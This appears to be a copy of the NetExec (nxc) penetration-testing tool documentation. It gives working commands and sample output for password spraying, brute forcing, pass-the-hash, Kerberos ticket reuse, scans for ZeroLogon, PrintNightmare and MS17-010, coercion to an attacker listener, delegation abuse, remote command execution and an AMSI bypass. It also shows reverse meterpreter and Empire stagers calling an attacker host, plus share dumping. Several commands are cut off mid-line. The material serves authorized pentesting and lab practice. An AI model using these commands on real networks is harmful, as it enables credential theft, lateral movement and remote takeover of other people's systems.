Netexec

https://www.netexec.wiki/

Viewing Available Protocols

Running nxc --help will list general options and protocols that are available (Notice the 'protocols' section below):

#~ nxc --help
usage: nxc [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--no-progress] [--verbose] [--debug] [--version] {smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql} ...

    <-- Banner -->   

options:
  -h, --help            show this help message and exit
  -t THREADS            set how many concurrent threads to use (default: 100)
  --timeout TIMEOUT     max timeout in seconds of each thread (default: None)
  --jitter INTERVAL     sets a random delay between each connection (default: None)
  --no-progress         Not displaying progress bar during scan
  --verbose             enable verbose output
  --debug               enable debug level information
  --version             Display nxc version

protocols:
  available protocols

  {smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql,nfs}
    smb                 own stuff using SMB
    ssh                 own stuff using SSH
    ldap                own stuff using LDAP
    ftp                 own stuff using FTP
    wmi                 own stuff using WMI
    winrm               own stuff using WINRM
    rdp                 own stuff using RDP
    vnc                 own stuff using VNC
    mssql               own stuff using MSSQL
    nfs                 own stuff using NFS

Target Formats

Every protocol supports targets by CIDR notation(s), IP address(s), IP range(s), hostname(s), a file containing a list of targets or combination of all of the latter:

netexec <protocol> poudlard.wizard

netexec <protocol> 192.168.1.0 192.168.0.2

netexec <protocol> 192.168.1.0/24

netexec <protocol> 192.168.1.0-28 10.0.0.1-67

netexec <protocol> ~/targets.txt

Using Credentials

Every protocol supports using credentials in one form or another. For details on using credentials with a specific protocol, see the appropriate wiki section.

Generally speaking, to use credentials, you can run the following commands:

netexec <protocol> <target(s)> -u username -p password

Code execution results in a (Pwn3d!) added after the login confirmation. With SMB protocol, most likely your compromised users are in the local administrators group.

Protocol	See Pwn3d! in output
FTP	No check
SSH	root (otherwise specific message) ✅
WINRM	Code execution at least 👾
LDAP	Path to domain admin 👑
SMB	Most likely local admin ✅
RDP	Code execution at least 👾
VNC	Code execution at least 👾
WMI	Most likely local admin ✅

When using usernames or passwords that contain special symbols (especially exclaimation points!), wrap them in single quotes to make your shell interpret them as a string.

Example:

netexec <protocol> <target(s)> -u username -p 'October2022!'

Due to a bug in Python's argument parsing library, credentials beginning with a dash (-) will throw an expected at least one argument error message. To get around this, specify the credentials by using the 'long' argument format (note the = sign):

netexec <protocol> <target(s)> -u='-username' -p='-October2022'

Using a Credential Set From the Database

By specifying a credential ID (or multiple credential IDs) with the -id flag nxc will automatically pull that credential from the back-end database and use it to authenticate (saves a lot of typing):

netexec <protocol> <target(s)> -id <cred ID(s)>

Multi-Domain Environment

You can use nxc with mulitple domain environment

netexec <protocol> <target(s)> -u FILE -p password

Where FILE is a file with usernames in this format

DOMAIN1\user
DOMAIN2\user

Brute Forcing & Password Spraying

All protocols support brute-forcing and password spraying. For details on brute-forcing/password spraying with a specific protocol, see the appropriate wiki section.

By specifying a file or multiple values nxc will automatically brute-force logins for all targets using the specified protocol:

Examples:

netexec <protocol> <target(s)> -u username1 -p password1 password2

netexec <protocol> <target(s)> -u username1 username2 -p password1

netexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords

netexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

Password Spraying Without Bruteforce

Can be usefull for protocols like WinRM and MSSQL. This option avoid the bruteforce when you use files (-u file -p file)

netexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce

netexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords --no-bruteforce

user1 -> pass1
user2 -> pass2

By default nxc will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found. Usefull for spraying a single password against a large user list. The --continue-on-success flag is incompatible with command execution.

netexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce --continue-on-success

Throttling Authentication Requests

Authentication throttling works on a per-host basis! Keep this in mind if you are spraying credentials against multiple hosts.

If there is a need to throttle authentications during brute forcing, you can use the jitter functionality. The length of the timeout (in seconds) between requests is randomly selected from an interval unless otherwise specified. If you want to hardcode the timeout, set the upper and lower bounds of the interval to the same value. The syntax is as follows:

netexec --jitter 3 <protocol> <target> -u ~/file_containing_usernames -p ~/file_containing_passwords
netexec --jitter 2-5 <protocol> <target> -u ~/file_containing_usernames -p ~/file_containing_passwords
netexec --jitter 4-4 <protocol> <target> -u ~/file_containing_use

Using Kerberos

nxc does support Kerberos authentication There is two option, directly using a password/hash or using a ticket and using the KRB5CCNAME env name to specify the ticket.

when using the option -k or--use-kcache, you need to specify the same hostname (FQDN) as the one from the kerberos ticket

$ sudo nxc smb zoro.gold.local -k -u bonclay -p Ocotober2022
SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB         zoro.gold.local 445    ZORO             [+] gold.local\bonclay

Or, using --use-kcache

$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache 
$ nxc smb zoro.gold.local --use-kcache
SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB         zoro.gold.local 445    ZORO             [+] gold.local\administrator (Pwn3d!)
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami
SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB         zoro.gold.local 445    ZORO             [+] gold.local\administrator (Pwn3d!)
SMB         zoro.gold.local 445    ZORO             [+] Executed command 
SMB         zoro.gold.local 445    ZORO             gold\administrator

$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami
SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB         zoro.gold.local 445    ZORO             [+] gold.local\bonclay

Example with LDAP and option --kdcHost

poetry run NetExec ldap poudlard.wizard -k --kdcHost dc01.poudlard.wizard 
SMB poudlard.wizard 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:poudlard.wizard) (signing:True) (SMBv1:False) 
LDAP poudlard.wizard 389 DC01 [+] poudlard.wizard\

Using Modules

Viewing Available Modules for a Protocol

Run nxc <protocol> -L to view available modules for the specified protocol.

For example to view all modules for the SMB protocol:

nxc smb -L

Using a Module

Run nxc <protocol> <target(s)> -M <module name>.

For example to run the SMB Mimikatz module:

nxc smb <target(s)> -u Administrator -p 'October2022' -M lsassy

Viewing Module Options

Run nxc <protocol> -M <module name> --options to view a modules supported options, e.g:

nxc smb -M lsassy --options

Using Module Options

Module options are specified with the -o flag. All options are specified in the form of KEY=value (msfvenom style)

Example:

nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M lsassy -o COMMAND=xxxxxxxxug'

🆕 Running Multiple Modules

Simply define all the modules you want, each proceeded by a -M option flag:

nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M spooler -M printnightmare -M shadowcoerce -M petitpotam

Scan for Vulnerabilities

When you start your internal pentest, these are the first modules you should try:

ZeroLogon

nxc smb <ip> -u '' -p '' -M zerologon

noPAC

nxc smb <ip> -u 'user' -p 'pass' -M nopac

You need a credential for noPAC vulnerability check.

PrintNightmare

nxc smb <ip> -u '' -p '' -M printnightmare

SMBGhost

nxc smb <ip> -u '' -p '' -M smbghost

MS17-010 (Not tested outside LAB environment)

nxc smb <ip> -u '' -p '' -M ms17-010

Or, try them all at once! Just list each one: -M zerologon -M printnightmare

Scan for Coerce Vulnerabilities

You can check for coerce vulnerabilities such as PetitPotam, DFSCoerce, PrinterBug, MSEven and ShadowCoerce using the coerce_plus module. You can also use credentials to check for these vulnerabilities. By default the LISTENER ip will be set to localhost, so no traffic will appear on the network.

nxc smb <ip> -u '' -p '' -M coerce_plus

If a vulnerability is found, you can set a LISTENER ip to coerce the connection.

nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>

To run all exploit methods at once, add the ALWAYS=true option, otherwise it will stop if the underlying RPC connection reports a successful coercion.

nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true

You can also check for a specific coerce method by specifying it:

nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam

Instead of using the METHOD option, you can use its short form M. Similarly, the argument LISTENER can be shortened to L.

This also applies to the names of the vulnerabilities when specifying a method.

M=p // Invalid, as both petitpotam and printerbug start with ‘p’ so modules gives error

M=pr // Matches printerbug

M=pe // Matches petitpotam

M=dfs // Matches dfscoerce

Check out what other modules are available via nxc <protocol> -L

Map Network Hosts

Returns a list of live hosts

nxc smb 192.168.1.0/24

Expected Results:

SMB         192.168.1.101    445    DC2012A          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB         192.168.1.102    445    DC2012B          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True)
SMB         192.168.1.110    445    DC2016A          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:DC2016A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB         192.168.1.117    445    WIN10DESK1       [*] WIN10DE

Enumerate Null Sessions

Check if Null Session, also known as Anonymous session, is enabled on the network. Can be very useful on a Domain Controller to enumerate users, groups, password policies, etc.

nxc smb 10.10.10.161 -u '' -p ''
nxc smb 10.10.10.161 -u '' -p '' --shares
nxc smb 10.10.10.161 -u '' -p '' --pass-pol
nxc smb 10.10.10.161 -u '' -p '' --users
nxc smb 10.10.10.161 -u '' -p '' --groups

You can also reproduce this behavior with smbclient or rpcclient

smbclient -N -U "" -L \\10.10.10.161

rpcclient -N -U "" -L \\10.10.10.161
rpcclient $> enumdomusers
user:[bonclay] rid:[0x46e]
user:[zoro] rid:[0x46f]

Network access: Shares that can be accessed anonymouslydocsmsft

Example

Forest or Monteverde machines are good examples to test null session authentication with NetExec

https://www.hackthebox.eu/home/machines/profile/212www.hackthebox.euhttps://www.hackthebox.eu/home/machines/profile/223www.hackthebox.eu

Enumerate Guest Logon

Using a random username and password you can check if the target accepts guest logon. If so, it means that either the domain guest account or the local guest account of the server you're targetting is enabled.

Make sure the password is empty

nxc smb 10.10.10.178 -u 'a' -p '' 
nxc smb 10.10.10.178 -u 'a' -p '' --shares

Note that if the domain guest account is available you will be able to use to launch attacks such as Coerces.

Guest vs Null session on Windows

Example

Nest machine is a good example of guest logon with NetExec

https://www.hackthebox.eu/home/machines/profile/225www.hackthebox.eu

Enumerate Hosts with SMB Signing Not Required

Maps the network of live hosts and saves a list of only the hosts that don't require SMB signing. List format is one IP per line

nxc smb 192.168.1.0/24 --gen-relay-list relay_list.txt

Expected Results:

SMB         192.168.1.101    445    DC2012A          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB         192.168.1.102    445    DC2012B          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True)
SMB         192.168.1.111    445    SERVER1          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SERVER1) (domain:PACIFIC) (signing:False) (SMBv1:True)
SMB         192.168.1.117    445    WIN10DESK1       [*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signing:False) (SMBv1:True)
...SNIP...

#~ cat relay_list.txt
192.168.1.111
192.168.1.117

Alternative with nmap

You can also list only the hosts that don't require SMB signing using nmap

nmap --script smb-security-mode.nse,smb2-security-mode.nse -p445 1

Enumerate Active Sessions

Enumerate active sessions on the remote target

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions

Enumerate Shares and Access

Enumerate permissions on all shares

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

By far one of the most useful feature of nxc

If you want to filter only by readable or writable share

#~ nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares --

Enumerate Network Interfaces

You need at least local admin privilege on the remote target, use option --local-auth if your user is a local account

Enumerate network interfaces on a host:

nxc smb 192.168.56.11 -u USERNAME -p 'PASSWORDHERE' --interfaces

Example output of the interface enumeration

Enumerate Disks

Enumerate disks on the remote target

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --disks

Enumerate Logged on Users

Enumerate logged users on the remote target

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-us

Enumerate Domain Users

Enumerate domain users on the remote target

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --users

Enumerate Users by Bruteforcing RID

Enumerate users by bruteforcing the RID on the remote target

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute

Enumerate Domain Groups

Enumerate domain groups on the remote target

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups

Enumerate Local Groups

Enumerate local groups on the remote target

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-group

Enumerate Domain Password Policy

Using the option --pass-pol you can get the password policy of the domain

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol

Enumerate Anti-Virus & EDR

Enumerate antivirus installed using NetExec

You don't need to be a privileged user to do this action

nxc smb <ip> -u user -p pass -M enum_av

Password Spraying

Using NetExec for password spraying

Using Username/Password Lists

You can use multiple usernames or passwords by separating the names/passwords with a space.

nxc smb 192.168.1.101 -u user1 user2 user3 -p Summer18
nxc smb 192.168.1.101 -u user1 -p password1 password2 password3

nxc accepts txt files of usernames and passwords. One user/password per line. Watch out for account lockout!

nxc smb 192.168.1.101 -u /path/to/users.txt -p Summer18
nxc smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt

By default nxc will exit after a successful login is found. Using the --continue-on-success flag, it will continue spraying even after a valid password is found. Useful for spraying a single password against a large user list. This is incompatible with command execution.

Usage example:

nxc smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success

Checking 'username == password' using wordlist

nxc smb 192.168.1.101 -u user.txt -p user.txt --no-bruteforce --continue-on-success

Checking multiple usernames/passwords using wordlist

nxc smb 192.168.1.101 -u user.txt -p password.txt

The result will be:

• user1 => password1

• user1 => password2

• user2 => password1

• user2 => password2

Be careful to not lock accounts using this technique

Checking one login equal one password using wordlist

No bruteforce possible with this one as 1 user = 1 password

nxc smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-success

The result will be:

• user1 => password1

• user2 => password2

Avoid range or a list of IPs when using the --no-bruteforce option

Checking Credentials (Domain)

Authentication

• Failed logins result in a [-]

• Successful logins result in a [+] Domain\Username:Password

Code execution results in a (Pwn3d!) added after the login confirmation. With SMB protocol, most likely your compromised user is in the local administrators group.

    SMB         192.168.1.101    445    HOSTNAME          [+] DOMAIN\Username:Password (Pwn3d!)

The following checks will attempt authentication to the entire /24 though a single target may also be used.

If NTLM authentication is not available, Kerberos requires the hostname and domain name instead of an IP address.

User/Password

#~ nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'

User/Hash

After obtaining credentials such as Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c::: you can use both the full hash or just the nt hash (second half)

#~ nxc smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
#~ nxc smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
#~ nxc smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
#~ nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad

Checking Credentials (Local)

User/Password/Hashes

Adding --local-auth to any of the authentication commands with attempt to logon locally.

#~ nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth
#~ nxc smb 192.168.1.0/24 -u '' -p '' --local-auth
#~ nxc smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth
#~ nxc smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth
#~ nxc smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth
#~ nxc smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth

Results will display the hostname next to the user:password

	SMB         192.168.1.101    445    HOSTNAME          [+] H

Delegation

Resource Based Constrained Delegation (RBCD) and

RBCD

If you have an object with the msDS-AllowedToActOnBehalfOfOtherIdentity attribute set to an account you control you can use the impersonate flag inside NetExec to automatically execute the Resource Based Constrained Delegation and impersonate any user:

nxc smb 192.168.56.11 -u jon.snow -p iknownothing --delegate Administrator

RBCD with NetExec

S4U2Self

If you have a computer account you can (nearly) always get local administrator with the s4u2self extension:

nxc smb 192.168.56.10 -u 'KINGSLANDING$' -H 220fc1990391bdc183d1a68c389c0229 --delegate Administrator --self

S4U2Self abuse using NetExecs delegation feature

Resources:

(RBCD) Resource-based constrained | The Hacker RecipesS4U2self abuse | The Hacker RecipesResource-based Constrained DelegationHackTricks

Executing Remote Commands

Command Execution

Executing commands on a windows system requires Administrator credentials.

nxc automatically tells you if the credential set you're using has admin access to a host by appending "(Pwn3d!)" (or whatever value you've set in the config) to the output when authentication is successful.

Execution Methods

nxc has three different command execution methods:

• wmiexec executes commands via WMI

• atexec executes commands by scheduling a task with windows task scheduler

• smbexec executes commands by creating and running a service

By default nxc will fail over to a different execution method if one fails. It attempts to execute commands in the following order:

1. wmiexec

2. atexec

3. smbexec

If you want to force nxc to use only one execution method you can specify which one using the --exec-method flag.

Executing Commands

In the following example, we try to execute whoami on the target using the -x flag:

nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
06-05-2016 14:34:35 nxc          192.168.10.11:445 WIN7BOX         [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB)
06-05-2016 14:34:35 nxc          192.168.10.11:445 WIN7BOX         [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-2016 14:34:39 nxc          192.168.10.11:445 WIN7BOX         [+] Executed command 
06-05-2016 14:34:39 nxc          192.168.10.11:445 WIN7BOX         lab\administrator
06-05-2016 14:34:39 [*] KTHXBYE!

You can also directly execute PowerShell commands using the -X flag:

nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
06-05-2016 14:36:06 nxc          192.168.10.11:445 WIN7BOX         [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB)
06-05-2016 14:36:06 nxc          192.168.10.11:445 WIN7BOX         [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         [+] Executed command 
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         Name                           Value
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         ----                           -----
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         CLRVersion                     2.0.50727.5420
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         BuildVersion                   6.1.7601.17514
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         PSVersion                      2.0
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         WSManStackVersion              2.0
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         PSCompatibleVersions           {1.0, 2.0}
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         SerializationVersion           1.1.0.1
06-05-2016 14:36:10 nxc          192.168.10.11:445 WIN7BOX         PSRemotingProtocolVersion      2.1
06-05-2016 14:36:10 [*] KTHXBYE!

Bypass AMSI

nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersi

Getting Shells 101

Getting Shells 101

We all love shells and that's why nxc makes it as easy as possible to get them! There really is something magical about shelling a /24

Empire Agent

Use the new Empire in Python3 https://github.com/BC-SECURITY/Empire

We can use the empire_exec module to execute an Empire Agent's initial stager. In the background, the module connects to Empire's RESTful API, generates a launcher for the specified listener and executes it.

• First setup the rest API:

#~ python powershell-empire --rest --user empireadmin --pass Password123!
[*] Loading modules from: /home/mpgn/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

• Second setup a listener:

(Empire: listeners) > set Name test
(Empire: listeners) > set Host 192.168.10.3
(Empire: listeners) > set Port 9090
(Empire: listeners) > set CertPath data/empire.pem
(Empire: listeners) > run
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.10.3:9090                 native    5/0.0                      

(Empire: listeners) > 

The username and password that nxc uses to authenticate to Empire's RESTful API are stored in the nxc.conf file located at ~/.nxc/nxc.conf:

[Empire]
api_host=127.0.0.1
api_port=1337
username=empireadmin
password=Password123!

[Metasploit]
rpc_host=127.0.0.1
rpc_port=55552
password=abc123

• Then just run the empire_exec module and specify the listener name:

#~ NetExec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test

Meterpreter

We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.

On your Metasploit instance, run the following commands

use exploit/multi/script/web_delivery

The SRVHOST and SRVPORT variables are used for running the webserver to host the script

set SRVHOST 10.211.55
set SRVPORT 8443

The target variable determines what type of script we're using. 2 is for PowerShell

set target 2

Pick your payload. In this case, we'll use a reverse https meterpreter payload

set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443

Run the exploit

run -j

Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.

msf exploit(web_delivery) > run -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.

• Then just run the met_inject module and specify the LHOST and LPORT values:

#~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -

Spidering Shares

Spidering shares with NetExec

Using Default Option --spider

Options for spidering shares of remote systems. Example, Spider the C drive for files with txt in the name (finds both sometxtfile.html and somefile.txt)

Notice the '$' character has to be escaped. (example shown can be used as-is in a kali linux terminal)

nxc SMB <IP> -u USER -p PASSWORD --spider C\$ --pattern txt

Using Module "spider_plus"

The module spider_plus allows you to list and dump all files from all readable shares thanks to @vincd

List all readable files

nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus

Dumping All Files

Using the option -o DOWNLOAD_FLAG=True all files will be copied on the host

nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_

Get and Put Files

Get a remote file or send a remote file using NetExec

Send a File to the Remote Target

Send a local file to the remote target

nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt

Get a File From the Remote Target

Get a remote file on the remote target

nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt